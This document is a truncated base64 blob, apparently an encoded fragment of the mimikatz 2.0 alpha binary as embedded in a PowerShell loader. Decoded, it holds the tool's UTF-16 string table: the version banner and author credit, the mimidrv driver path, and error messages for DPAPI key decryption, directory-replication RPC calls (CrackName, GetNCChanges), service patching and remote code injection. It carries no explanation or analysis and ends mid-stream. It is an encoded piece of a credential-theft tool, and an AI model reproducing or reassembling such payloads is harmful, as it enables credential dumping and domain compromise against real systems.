TwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAABvAG4AXwB1AG4AcAByAG8AdABlAGMAdAAAAAAAbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAcgBlAHMAZQByAHYAZQBkAAAAAABzAHQAcgBvAG4AZwAAAAAAcgBlAHEAdQBpAHIAZQBfAHMAdAByAG8AbgBnAAAAAAAlAHMAIAA7ACAAAAB1AGkAXwBmAG8AcgBiAGkAZABkAGUAbgAAAAAAdQBuAGsAbgBvAHcAbgAAAGwAbwBjAGEAbABfAG0AYQBjAGgAaQBuAGUAAABjAHIAZQBkAF8AcwB5AG4AYwAAAGEAdQBkAGkAdAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAc3lzdGVtAAAAAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBQAHUAYgBsAGkAYwBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAcABvAHIAdABGAGwAYQBnAEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFAAdQBiAGwAaQBjAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgAcABvAHIAdABGAGwAYQBnACAAIAAgACAAIAAgACAAIAA6AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAJQAqAHMAKgAqAEsARQBZACAAKABjAG4AZwApACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlAC4AKgBzAAoAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAA6AAoAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwB0AHIAdQBjAHQATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAOgAgAAAAJQB1ACAAZgBpAGUAbABkACgAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AbgBlAHQAXwBnAGUAdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAABuAGMAYQBjAG4AXwBpAHAAXwB0AGMAcAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQAQQB1AHQAaABJAG4AZgBvAEUAeAA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAATgBvACAAQgBpAG4AZABpAG4AZwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABEAEMAIAAnACUAcwAnACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAATgBPAF8ARQBSAFIATwBSAAAAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAEUAUgBSAE8AUgBfAE4ATwBUAF8ARgBPAFUATgBEAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwBoAGUAYwBrAHMAdQBtAHMAIABkAG8AbgAnAHQAIABtAGEAdABjAGgAIAAoAEMAOgAwAHgAJQAwADgAeAAgAC0AIABSADoAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBDAFIAQQBDAEsAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABuAGEAbQBlAEMAcgBhAGMAawBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAMAAyAHgAAAAAACUAMAAyAHgAIAAAADAAeAAlADAAMgB4ACwAIAAAAAAAXAB4ACUAMAAyAHgAAAAAAAoAQgBZAFQARQAgAGQAYQB0AGEAWwBdACAAPQAgAHsACgAJAAAAAAAJAAAACgB9ADsACgAAAAAAJQBzACAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGQAaQBzAHAAbABhAHkAUwBJAEQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVABvAGsAZQBuAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAeAA4ADYAKQAgAHIAZQBsAGUAYQBzAGUAIAAiAEsAaQB3AGkAIABlAG4AIABDACIAIAAoAEQAZQBjACAAMQA0ACAAMgAwADEANQAgADEAOAA6ADAAMwA6ADAANwApAAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABvAGUALgBlAG8AKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMgB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABJAE4ASQBUAAAAAABDAEwARQBBAE4AAAA+AD4APgAgACUAcwAgAG8AZgAgACcAJQBzACcAIABtAG8AZAB1AGwAZQAgAGYAYQBpAGwAZQBkACAAOgAgACUAMAA4AHgACgAAAAAAOgA6AAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvA